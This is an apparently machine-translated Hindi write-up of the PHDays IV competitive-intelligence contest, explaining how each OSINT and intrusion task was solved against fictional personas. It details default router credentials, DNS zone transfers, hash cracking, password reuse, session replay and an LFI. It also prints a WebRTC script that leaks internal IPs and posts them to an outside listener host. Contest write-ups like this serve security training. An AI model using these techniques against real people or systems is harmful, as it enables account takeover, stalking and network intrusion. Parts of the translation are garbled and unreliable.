🎩 ⚪️ ♿️ PHDays IV में प्रतिस्पर्धी खुफिया प्रतियोगिता के कार्यों का विश्लेषण 📢 👎🏼 🧐

आज हम 15, 16 और 17 मई को आयोजित ऑनलाइन प्रतियोगिता "प्रतियोगी खुफिया" के उदाहरण पर गोपनीय डेटा के संग्रह के कुछ व्यावहारिक पहलुओं के बारे में बात करेंगे।

पिछले साल की तुलना में, कार्य बहुत अधिक जटिल हो गए हैं। प्रतिस्पर्धी स्काउट के शस्त्रागार में विभिन्न प्रकार के कौशल होने चाहिए, जिसमें उपकरण और प्लगइन्स का उपयोग करने की क्षमता शामिल है, इसलिए यह कट्टर के स्तर को थोड़ा बढ़ाने का निर्णय लिया गया। हालांकि, कटौती के लिए पारंपरिक आवश्यकताएं और कनेक्शन की खोज करने की क्षमता दूर नहीं हुई है।

1. परिचय

किंवदंती के अनुसार, खिलाड़ी हैकर भूमिगत पार्टी एनेक्सीस के लिए एक नवागंतुक के रूप में प्रकट होता है और एटीएच कर्मचारियों में से एक का ईमेल पता खोजने के लिए कार्य प्राप्त करता है:

हाय,

मैंने सुना है आप एनासेमस समूह में शामिल होना चाहते हैं। यह ठीक है लेकिन आपको यह साबित करना चाहिए कि आप इसके लायक हैं।

अफवाह यह है कि खिलाया हमारे करीब हैं। ATH (ब्यूरो ऑफ़ अल्कोहल, टोबैको, हैकर्स और कुकीज) के डंबेस उन पर जासूसी कर रहे होंगे!

एजेंटों को एक सबक सिखाएं और शायद हम आपको स्वीकार करेंगे। उसका ईमेल पता प्राप्त करें।

हमने जानबूझकर इंट्रो टास्क को सरलता से छोड़ा ताकि किसी को भी डराया न जा सके। यह कार्य Google में एक अनुरोध में हल किया गया था:

तय किया: 82 लोग

2. प्रतियोगियों के खिलाफ विद्रोह

आपको एक नया कार्य मिलता है, जिसका सार वर्ल्ड वाइड आइडल समूह के हैकर्स के बारे में जानकारी एकत्र करना है जो नैतिकता में कुछ भी नहीं समझते हैं, और उन्हें "फेडरेशन" को सौंप देते हैं

आप सफल हुए, लेकिन वह कार्य किडियों के लिए था। मुद्दा यह है कि हम लंबे समय से वर्ल्ड व्हाइट आइडल नामक समूह के साथ प्रतिस्पर्धा कर रहे हैं। बिना किसी नैतिकता या पुराने लोगों के सम्मान के वे असाधारण रूप से बुरे लोग हैं। यह उन इंटरनेट उन्माद को नष्ट करने का समय है!

योजना इस समूह के सदस्यों को ATH के सामने लाने की है और हम सिंहासन पर अकेले रहेंगे!

वास्तव में, वे पहले ही हमें शिकार करना शुरू कर चुके हैं

( http://athc.biz/docs/137b60bcec2014fcedca10cc5f89bfb4.docx ), इसलिए सावधान रहें और इन स्कैम्बैग्स की तलाश करें:

2.1। फोरस्क्वायर ग्रीन स्क्रिप्ट किडी को पकड़ना

उपनाम: स्कूल की

के बारे में: स्क्रिप्ट किडी वह सब कुछ देखती है जो वह देखती है, गुमनामी पर ध्यान नहीं दे रही है।

विकास: एक ही आईपी पते से साइटों को हैक करते समय पता लगाया गया: 107.170.230.201।

संकेत: नई जानकारी सामने आई कि हैकर एक सार्वजनिक नेटवर्क से जुड़ रहा है। फोरस्क्वेयर का धन्यवाद। आखिर कौन इस चीज का इस्तेमाल कर रहा है?

ठीक है, कॉमरेड आईपी 107.170.230.201 के साथ हैक में देखा गया। हम वहां जाते हैं और डिफ़ॉल्ट के साथ एक वायरलेस राउटर देखते हैं ( एडमिन: एडमिन )।

यह रॉड्रिग्ज परिवार का राउटर है, जो निर्देशांक # 45.647801, -84.494360 ( http://107.170.230.201/?page=geo.cgi ) के साथ बिंदु पर स्थित है।

और राउटर की यात्राओं के इतिहास में, फोरस्क्वेयर सेवाओं के लिए बहुत सारे अनुरोध किए जाते हैं।

ठीक है, Foursquare के लिए आवेदन के अनुरोधों में हम पंजीकरण प्रक्रिया के दौरान इंगित किए गए जियोलोकेशन डेटा को बदल देंगे और चेक-इन के लिए एक जगह ढूंढेंगे:

POST /v2/users/updatelocation HTTP/1.1

Host: api.foursquare.com

ll=45.647801,-84.494360&[…]

GET /v2/venues/search?ll=45.647801,-84.494360&[…]HTTP/1.1

Host: api.foursquare.com

खोज में हम परिवार के नाम (रोड्रिग्ज) में ड्राइव करते हैं और सही जगह पाते हैं।

और आवश्यक व्यक्ति भी - एंटनी किडिस नामक एक हैकर

तय किया: 6 लोग

अंक: 15

2.2। हम संघीय डेटाबेस में WWIdol से एक जापानी की तलाश कर रहे हैं

उपनाम: जापानी व्यवसायी

के बारे में: सजा का रिकॉर्ड: ATH केस # 126।

संकेत: ATH के पास एनेक्सीसस और WWIdol के प्रोफाइल के लिए एक ही डेटाबेस है। Athc.biz में गहरा देखो। इसके अलावा, जापानी चित्रलिपि पहचान के लिए इस सेवा को देखें - http://appsv.ocrgrid.org/nhocr/ ।

इस बिंदु पर, अधिकांश प्रतिभागियों को टिप के प्रकाशन तक सही समस्याएं होने लगीं।

हमारे पास हमारे "केस" का लिंक है और जापानी (126) के लिए एक डोजियर नंबर है, जिसे हमें खोजना होगा। जाहिर है कि कुछ उपयोगी होगा :)

वस्तु	लिंक	md5_decode	केस नंबर
Anneximous	137b60bcec2014fcedca10cc5f89bfb4	123456.7	7
जापानी व्यापारी	?	?

हम लिंक का अनुसरण करते हैं और देखते हैं कि हैश md5 ("123456.7") www.google.ru/search?q=137b60bcec2014fcedca10cc5f89bfb4 है

इस प्रकार, वह व्यक्ति जो हमारे लिए रूचि रखता है, उसे 123456.126 से जोड़ा जाना चाहिए, जिसका हैश d39558559e10be6b4e36ca6a5a55bf79 है, जिसका अर्थ है कि दस्तावेज़ यहाँ पर स्थित होना चाहिए:

athc.biz/docs/d39558559e10be6b4e36ca6a5a55bf79.docx

वैसे, यह कार्य सनसनीखेज प्रतिस्पर्धी खुफिया मामले " एड्रेस बार के माध्यम से हैकिंग गार्टनर " से प्रेरित था।

Athc.biz का लिंक ओपन करने पर, हमें कुछ डॉक्यूमेंट की फोटो मिलेगी। यदि ऊपरी बाएँ कोने में शीर्षक बड़ा हो गया है, तो अनुवाद सेवा में बदल दिया गया और चला गया, जो लिंक टूलटिप में है, और फिर Google अनुवाद में, हम नाम को पहचानेंगे: हारु सकटा ।

वैसे, यदि आप छवि को बड़ा नहीं करते हैं तो यहां क्या होता है:

कार्य अभी तक समाप्त नहीं हुआ है - खिलाड़ियों को जन्म की तारीख और जापानी के काम की जगह का पता लगाना है।

Twitter.com पर चार हारु सकटा हैं , जिनमें से तीन को हमने प्रतियोगिता के लिए बनाया था। Google छवियां "वर्तमान" को नकली से अलग करने में मदद करती हैं। छवि खोज सेवा यह समझने में मदद करेगी कि यह व्यक्ति हरु सकटा नहीं है, बल्कि, एक प्रसिद्ध जापानी अभिनेता है।

निर्णय लिया गया: 4 लोग

अंक: 20

2.3। एक "फ्रांसीसी वकील" के लिए खोजें

उपनाम: परामर्शदाता

के बारे में: ATH मामला: Athc.biz/docs/46a2934643bf3f80c530aee55195594d.docx

ATH "सामग्री" में इस चरित्र के लिए पर्याप्त डेटा है: एक नाम, एक ईमेल और यहां तक कि एक फसली फोटो भी है। यह तस्वीर मूल में देखी जा सकती है: ज़िप: //46a2934643bf3f80c530aee55195594d.docx/word/media/image2.emf

अब तस्वीर स्पष्ट होती जा रही है: चरित्र को किसी तरह पेरिस से जोड़ा जाना चाहिए, यह संयोग से नहीं है कि लोहे का यह टुकड़ा उस पर दिखाई दिया :)

नतीजतन, के रूप में कई के रूप में पांच लोगों को एक ही तस्वीर के साथ अपने समकक्षों से एक वास्तविक वकील भेद नहीं सकता है, लेकिन किसी भी तरह से पेरिस के साथ जुड़ा नहीं है।

तय किया: 9 लोग

अंक: 20

2.4। हम तीसरे स्तर के डोमेन को देखते हैं और फेसबुक में खाते को पुनर्स्थापित करते हैं

उपनाम: पाकिस्तानीक्रिस्टियन

के बारे में: यो dawg, मैंने आपको उप-डोमेन की तरह सुना है, इसलिए मैंने यो-उप-डोमेन में तीन स्तर डाल दिए हैं ताकि आप उप-डोमेन का उपयोग कर सकें, जबकि यो सर्फ डोमेन।

संकेत: हमें डेटा मिला है कि उनका डोमेन ftp.wwidol.com है।

संकेत 2: आप अभी भी गलत स्थानों पर देख रहे हैं। आपको क्यों लगता है कि कोई ई-मेल है?

केवल एक चीज जो हमने उत्तर की शुद्धता की पुष्टि करने के लिए तंत्र में प्रदान नहीं की थी, वह यह थी कि प्रतिभागी (या आयोजक) नाम और उपनाम को भ्रमित करेंगे, और एक भी उत्तर को सही नहीं माना जाएगा।

और कार्य काफी आसान था: हम ftp.wwidol.com डोमेन (bruteforce या AXFR अनुरोधों के साथ मिल रहे हैं जो wwidol.com डोमेन के लिए अनुमति दी गई थी), जिसमें अनाम FTP एक्सेस है। Windows XP के बाद से अच्छे पुराने thumbs.db फ़ोल्डर / images_upload / में निहित है।

यह विशेष फ़ाइल, जो एक्सप्लोरर की छवियों के कुछ थंबनेल संग्रहीत करती है, आपको उन चित्रों के नाम का पता लगाने की अनुमति देती है जो OS c:

मेल पर दस्तक देना इस बार बेकार है - बेहतर याद रखें कि गृहिणियां कैसे डिनोमिनेट करती हैं (http://www.xakep.ru/post/62206/)।

किसी व्यक्ति की फ़ोटो जानने से आप नकली खातों को वास्तविक से अलग कर सकते हैं।

तय किया: 5 लोग

अंक: 20

2.5। एटीएच के लिए हमारा रास्ता बनाना

उपनाम: johnsmith@athc.biz

संकेत: हम एटीएच के आईपी पते को ट्रैक करने में कामयाब रहे हैं जिसका उपयोग वे इंटरनेट का उपयोग करने के लिए करते हैं। आंतरिक IP: net.ipcalf.com प्राप्त करने के लिए आप इस कारनामे का उपयोग कर सकते हैं।

अब, खिलाड़ियों को इसी एटीएच के एक कर्मचारी के बारे में जानकारी खोजने की आवश्यकता है जिसका नाम जॉन स्मिथ है। यदि आप मेलबॉक्स johnsmith@athc.biz पर एक पत्र भेजते हैं, तो उत्तर में हमें दो सुझाव मिलते हैं।

पहला - एक प्रकार का एंटीवायरस पत्र से सभी लिंक की जाँच करता है, जाहिरा तौर पर वायरस के लिए, हालाँकि, समाचारों को देखते हुए (http://habrahabr.ru/post/180163/), यह अन्य उद्देश्यों के लिए हो सकता है;)

दूसरा - नेटगियर एन 600 राउटर इंटरनेट पर दिखता है, जिसमें बहुत दिलचस्प कमजोरियां हैं: www.exploit-db.com/exploits/32883

यदि आप अपने संसाधन का लिंक "एंटीवायरस" में फेंकते हैं तो क्या होता है:

IP पता 162.243.77.131 में वास्तव में एक राउटर है जिसमें उपरोक्त प्रतिक्रियाएं हैं जो HTTP प्रतिक्रिया 401 के बावजूद, व्यवस्थापक पासवर्ड प्राप्त करने की अनुमति देता है।

राउटर के इस "मॉडल" में पहले से ही अधिक कार्यक्षमताएं हैं: दोनों लोगों को पृष्ठों के पाद लेख से लगाव, जैसा कि कुछ मोबाइल ऑपरेटर अब करते हैं, और एसएमबी प्रबंधक, जो जावा एप्लेट का उपयोग करके आपको आंतरिक नेटवर्क पर कंप्यूटरों पर "गड़गड़ाहट" करने की अनुमति देता है - आपको केवल आईपी पता जानना होगा ।

संकेत से देखते हुए, HTML पृष्ठों में पाद लेख बदलने और संकेत से शोषण को संशोधित करने के लिए फ़ॉर्म का उपयोग करके आईपी पते का पता लगाना संभव होगा:

 <script> var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (RTCPeerConnection) (function () { var rtc = new RTCPeerConnection({iceServers:[]}); if (window.mozRTCPeerConnection) { rtc.createDataChannel('', {reliable:false}); }; rtc.onicecandidate = function (evt) { if (evt.candidate) grepSDP(evt.candidate.candidate); }; rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); }, function (e) { console.warn("offer failed", e); }); var addrs = Object.create(null); addrs["0.0.0.0"] = false; function updateDisplay(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); document.getElementById('list').value = displayAddrs.join(" or perhaps ") || "n/a"; document.form.submit(); } function grepSDP(sdp) { var hosts = []; sdp.split('\r\n').forEach(function (line) { if (~line.indexOf("a=candidate")) { var parts = line.split(' '), addr = parts[4], type = parts[7]; if (type === 'host') updateDisplay(addr); } else if (~line.indexOf("c=")) { var parts = line.split(' '), addr = parts[2]; updateDisplay(addr); } }); }})(); else {} </script><form name="form" action="http://listenhost:port/" method="post"><input type="text" name="value" id="list"></form>

नतीजतन, हम वांछित प्राप्त करते हैं:

हमें प्रतिभागियों में से एक का अभिवादन भी मिला, यह अच्छा था:

आइए अब खुद इस जॉन स्मिथ के कंप्यूटर की पहुँच देखें और उन सवालों के जवाब खोजने की कोशिश करें:

तय किया: 2 लोग

अंक: 35

नोट: इसके बाद, समूह से किसी भी कार्य का समाधान नए कार्यों की उपस्थिति के लिए हुआ।

3.1। डेटिंग साइट पर किसी लड़की से बात करने की कोशिश करना

उपनाम: स्ट्रिपर

के बारे में: "बातूनी" लड़की, निजी जीवन को नौकरी से अलग नहीं करती है। उसका संभावित स्थान # 53.2054508, 63.6218262 है। वह क्लाइंट खोजने के लिए डेटिंग साइट्स का उपयोग करती है।

फेसबुक या Vkontakte पर, दो प्रतिभागियों को स्थान के आधार पर इस व्यक्ति को मिल सकता है।

वास्तव में, हम चाहते थे कि प्रतिभागी उसकी पहली सगाई करें, और उसके बाद ही वे एक "स्मार्ट" लड़की से बात करेंगे और उसके सभी रहस्यों को उजागर करेंगे। लेकिन केवल एक प्रतिभागी ने "दोस्तों" पर दस्तक दी (शायद यह एक आकस्मिक राहगीर था), और किसी ने बोलने की हिम्मत नहीं की। खैर, निश्चित रूप से, कुछ "नकली" संस्थाएं थीं जो प्रतिभागियों को भ्रमित कर सकती थीं और उन्हें गलत उत्तरों तक ले जा सकती थीं।

तय किया: 2 लोग

अंक: 30

3.2। iPhone एक भारतीय टैक्सी चालक को किराए पर देता है

उपनाम: IndianTaxi- ड्राइवर

के बारे में: वकील, उसके भाई, को उसके बारे में सब कुछ पता होना चाहिए। वकील के ईमेल का पासवर्ड है ... प्रतीक्षा करें ... उसका जन्म दिन! क्या एक आश्चर्यजनक आश्चर्य है!

खैर, टैक्सी ड्राइवर के बारे में सब कुछ पता लगाने के लिए, प्रतिभागियों को एक वकील, उसके भाई के मेल में आना था। जिन लोगों ने तीसरा कार्य पास किया, वे उनका जन्मदिन जानते थे। मेल में आप स्वयं भारतीय के मेल का लॉगिन और पासवर्ड पा सकते हैं।

और भारतीय पोस्ट में यह स्पष्ट हो जाता है कि वह "सेब उपकरणों" का सक्रिय रूप से उपयोग कर रहा है।

ICloud से खाता मेल के साथ मेल खाता है, लेकिन किसी भी मामले में, यदि वांछित है, तो इसे रीसेट किया जा सकता है, मेल तक पहुंच हो सकती है। ICloud में प्रवेश करना, प्रतिभागियों के लिए केवल iPhone को ट्रैक करने के लिए पर्याप्त था, जिसे हमने पहले से दिल्ली भेजा था :)

तय किया: 2 लोग

अंक: 40

3.3। सिस्टम प्रशासक आकर्षण

उपनाम: व्यवस्थापक

के बारे में: wwidol.com के व्यवस्थापक।

Google का कहना है कि wwidol.com पर एक /.it/ फ़ोल्डर है जहाँ सूचकांक उपलब्ध है और पढ़ने के लिए विन्यास फाइल उपलब्ध है, जहाँ से हम github पर व्यवस्थापक खाते के लॉगिन का पता लगा सकते हैं! यह भाग्यशाली है;)

यदि आप एक उपनाम Google करते हैं, तो आप यह पता लगा सकते हैं कि वास्तव में एडमिन के पास जीथब पर दो खाते हैं - एक काम कर रहा है, और दूसरा "मनोरंजन" के लिए। यह सिर्फ दूसरी रिपॉजिटरी पर है और इसे खोजने के लिए .htpasswd और IP एड्रेस संभव है जहां यह फाइल होनी चाहिए थी।

यह पता चला है कि आईपी पते wwidol.com पते से मेल खाते हैं, जिसका अर्थ है कि व्यवस्थापक WWIdol सर्वर पर कुछ फ़ाइलों को संग्रहीत करता है। लेकिन किस मेजबान पर? यदि प्रतिभागी ने पहले से ही एक AXFR अनुरोध किया था, तो वह src.wwidol.com होस्ट के बारे में जानता था, यदि नहीं, तो अब तीसरे स्तर के डोमेन को ट्वीक करने या इस ज़ोन स्थानांतरण अनुरोध करने का समय था।

पासवर्ड बहुत तेज़ी से ब्रश किया जाता है: यह "एडमिन" लाइन है, जो /about-me.txt फ़ाइल में सभी व्यवस्थापक जानकारी प्राप्त करने के लिए पर्याप्त है

तय किया: 3 लोग

अंक: 30

3.4। एडमिन से लेकर पुलिस तक एक कदम

उपनाम: कॉप

के बारे में: व्यवस्थापक और कॉप किसी तरह जुड़े हुए हैं। इर्र, लेकिन कैसे? गोश ...

हम्म, कॉप और एडमिन किसी तरह जुड़े हुए हैं। आइए src.wwidol.com/note.txt फ़ाइल पर नज़र डालें - इसमें वेबकैम का लॉगिन, पासवर्ड और आईपी पता निहित है, जिस पर हम कुछ अस्पष्ट पदार्थ के वितरण के लिए चालान से पुलिस के बारे में सब कुछ पता लगाते हैं।

तय किया: 3 लोग

अंक: 20

3.4। जब अनाम न बचा हो

उपनाम: ParanoidHacker

संकेत: हैकर एक अनाम का उपयोग करता है लेकिन उसका DNS अनुरोध पूरी तरह से हल नहीं होता है। हम निश्चित रूप से जानते हैं कि दिन के दौरान हैकर अपने तथाकथित "आधिकारिक" काम पर होता है, लेकिन फिर भी वहाँ से गंदा काम करता है। वह अपनी खुद की वेबसाइट भी चला रहा है जो हैकप्रूफ नहीं दिखती है, इसलिए आप इसे हैकप्रूफ कर सकते हैं।

पैरानॉयड हैकर साबुन बहुत नीचे स्थित wwidol.com पर चमकता है।

यदि आप इसका लिंक भेजने की कोशिश करते हैं (जैसे कि टास्क 2.5 में), तो हैकर इस लिंक पर क्लिक करेगा, केवल एनोनिज़र के माध्यम से (यह संकेत में बताया गया है कि हमने 3 तारीख को पोस्ट किया था), हालाँकि, DNS हमारे संसाधनों से प्रश्न करता है हैकर संसाधनों से आएगा।

ये संसाधन फिर से डिफ़ॉल्ट खातों के साथ राउटर के पीछे स्थित हैं (ठीक है, हाँ, राउटर "कार्यालय" है, जहां से हैकर अपना काम करता है): व्यवस्थापक: व्यवस्थापक।

यह राउटर के लॉग से देखा जा सकता है कि हैकर homehekkers.com संसाधन पर जाता है - वर्डप्रेस पर बना एक मुखपृष्ठ, जो डेप्लेयर प्लगइन के साथ स्थापित है, LFI के लिए असुरक्षित:

और चूंकि यह पता चलता है कि homehekkers.com और wwidol.com को एक ही आईपी पते पर होस्ट किया जाता है (यह एक संयोग है!), हम हैकर के बारे में सारी जानकारी पा सकते हैं: प्रविष्टि /tmp/dump.jql फ़ाइल (हैलो) में है। मास्को!)।

तय किया: 0 लोग

अंक: 50

3.4। कोई व्यक्ति ATH में सूचना का विलय करता है

उपनाम: चूहा

के बारे में: यहाँ anneximous.com/rat.txt फोरम पर संभावित चूहे के खातों की सूची दी गई है । मुझे चूहा खोजो!

संकेत: एक बार एक समय था और Google मेल है। कहानियां लिखी जाती थीं और गीतों की रचना 'बाउट गूगल मेल' में की जाती थी, यहां तक कि उन चीजों को भी याद करता था जिन पर किसी को शक नहीं होता था। और वे सभी कभी खुशी से रहते थे। सवाल यह है कि "वे" कौन हैं ...?

इस समूह में अंतिम असाइनमेंट एटीएच चूहे को खोजने के लिए है जो एनेक्सीसस में मिला है। ऐसा करने के लिए, हमें ईमेल सूची दी गई है: md5 (पास) संभावित चूहों की। और Google में केवल एक हैश को "धक्का" दिया जा सकता है:

kevinreissen@wwidol.com: 09d1d20bd495912ed5307a08510440d6 (Admin111)

अब, यदि आप Google Apps के माध्यम से उसके मेल (wwidol.com सेवा ईमेल खातों पर जाते हैं, तो आप nslookup से भी पता लगा सकते हैं)

इस खाते के साथ जीमेल में प्रवेश करके, आप डिवाइस com.android.email से IMAP अनुरोध के बारे में विस्तृत जानकारी तैनात कर सकते हैं और चूहे के आईपी पते का पता लगा सकते हैं।

और फिर, एटीएच राउटर की भेद्यता के माध्यम से, आंतरिक नेटवर्क पर एक कंप्यूटर तक पहुंच प्राप्त करें और सभी आवश्यक जानकारी का पता लगाएं।

तय किया: 0 लोग

अंक: 20

4. अंतिम झटका

हम प्रतिस्पर्धी बुद्धिमत्ता के बारे में अपनी गाथा के अंतिम भाग में आते हैं। अंत में, प्रतिभागियों को एटीएच चूहे के बारे में जानकारी प्राप्त करनी थी, जो कि WWidol में बैठा था और एनामेन्सियस और WWidol समूहों के मालिक थे।

4.1। wwidolRat

उपनाम: wwidolRat

के बारे में: जानकारी: rat की रिपोर्ट Athc.biz/docs/f4dd947b925ef548fcdfd66789174033.docx पर ।

मदद के लिए एक चूहा रिपोर्ट जारी की गई थी। मेटा टैग्स में (जो प्रतिभागियों ने प्रतियोगिता के बहुत शुरुआत के बारे में पूछा था), कोई व्यक्ति आईपी पता पा सकता है और एक बार फिर एटीएच नेटवर्क पर कंप्यूटर से उपयोगी जानकारी प्राप्त कर सकता है:

इसके अलावा, चूहे के कंप्यूटर में कुछ डेटा के साथ एक संग्रह होता है, लेकिन दुर्भाग्य से यह पासवर्ड से सुरक्षित है:

यह पता चला है कि चूहे की अपनी वेबसाइट है, जो किसी कारण से एटीएच द्वारा अवरुद्ध है।

लेकिन अगर आप डोमेन नाम (kevin-donnalley.com और images.kevin-donnalley.com) द्वारा आईपी पते की ओर मुड़ते हैं, तो सब कुछ काम करेगा:

Thumbs.db को पोक करें और चूहे के आधार 6464_encode (facebook_id) को पहचानें:

तय किया: 2 लोग

अंक: 20

4.2। अपने गिरोह में शक्ति पकड़ो

उपनाम: एनेक्सीसस बॉस

के बारे में: खाली

संकेत: आप "phdIV @ 107.170.92.105" पास के साथ 4000-4040 खातों का उपयोग कर सकते हैं, लेकिन आपको अभी भी बॉस का उपनाम खोजने की आवश्यकता है;)

चूहा रिपोर्ट रिपोर्ट की छवियों के साथ फ़ोल्डर के लिए एक सीधा लिंक है:

इस फ़ोल्डर में, हम कुछ नई रिपोर्ट पहचानकर्ताओं को ट्रैक कर सकते हैं और उनका उपयोग करके रिपोर्ट को स्वयं एक्सेस करने का प्रयास कर सकते हैं:

तो यह वही रिपोर्ट है जो संग्रह से ट्रैफिक डंप के पासवर्ड के साथ एनीमेस्सियस और WWIdol मालिकों पर है! अनुरोध को खोलने के बाद, हम निम्नलिखित देखेंगे:

POST /profile.php?PHPSESSID=055e9c961e311901050b261e16ef57aa HTTP / 1.1

होस्ट: anneximous.com

कुकी: PHPSESSID = 055e9c961e311901050b261e16ef57aa;

स्वीकार करें: * / *

स्वीकार-भाषा: इं

उपयोगकर्ता-एजेंट: मोज़िला / 5.0 (संगत; MSIE 9.0; Windows NT 6.1; Win64; x64; त्रिशूल / 5.0;

कनेक्शन: करीब

यदि आप अनुरोध दोहराते हैं - जाहिरा तौर पर सत्र अभी भी जीवित है :)) - तो आप एसआईपी में बॉस एनेक्सीसस और उनके खाते का नाम पता कर सकते हैं।

तय किया: 0 लोग

अंक: 55

4.3। अचरज

उपनाम: Wwidol बॉस

के बारे में: खाली

ऐसा लगता है, क्यों SIP बॉस को जानते हैं, अगर सब कुछ पहले से ही फॉर्म भरने के लिए जाना जाता है। लेकिन अगर किसी को यह काम मिल गया, तो बॉस को johanson @ 107.170.92.105 पर फोन किया और ध्यान से ट्रैफिक पर ध्यान दिया, तो उसने देखा कि पैकेट 128.199.236.23 के माध्यम से "उड़ना" शुरू करते हैं - और यह boss.wwidol.com होस्ट है। यह पता चला कि एनीमेमस बॉस और WWIdol बॉस एक ही व्यक्ति हैं (यह एक प्लॉट ट्विस्ट है, सांता बारबरा आराम कर रहे हैं!)

खैर, इसका मतलब है कि आप एक ही पासवर्ड के साथ एक ही अनुरोध भेज सकते हैं (बॉस, वे भी लोग हैं और उसी पासवर्ड का उपयोग करना चाहते हैं) wwidol.com पर, जो हमें WWidol मंडलियों में बॉस के "उपनाम" का पता लगाने की अनुमति देता है!

पीएस कोई भी इस कार्य के समाधान तक नहीं पहुंचा, हालांकि, हमारे विजेताओं में से एक बहुत पहले रिपोर्ट से बॉस के उपनाम को "पिक" करने और उसे कॉल करने में कामयाब रहा :)

तय किया: 0 लोग

अंक: 30

यह प्रतियोगिता 17 मई, 19:00 को मॉस्को समय पर समाप्त हुई (यह नियोजित दो के बजाय तीन दिन था), हालांकि कुछ ने प्रतियोगिता के अंत के बाद भी उत्तर भरे। कुल में, 301 लोगों ने प्रतियोगिता के लिए पंजीकरण किया, 82 ने परिचयात्मक कार्य पूरा किया, और शेष सारांश तालिका में।

उपनाम	अंक	जगह
The.Ghost	230 *	मैं
yarbabin	195 *	द्वितीय
MooGeek	130 *	तृतीय
godzillanurserylab	105 *
topol	35 *
यूजीन-बनाम	20
supertramp	20
ReallyNonamesFor	20
Anatolik11	20
सच नस्ल	0 *
gohome	0 *
Fire_marshall	15
* - कार्य 2.4 के लिए 20 बिंदुओं को छोड़कर

PHDays IV में प्रतिस्पर्धी खुफिया प्रतियोगिता के कार्यों का विश्लेषण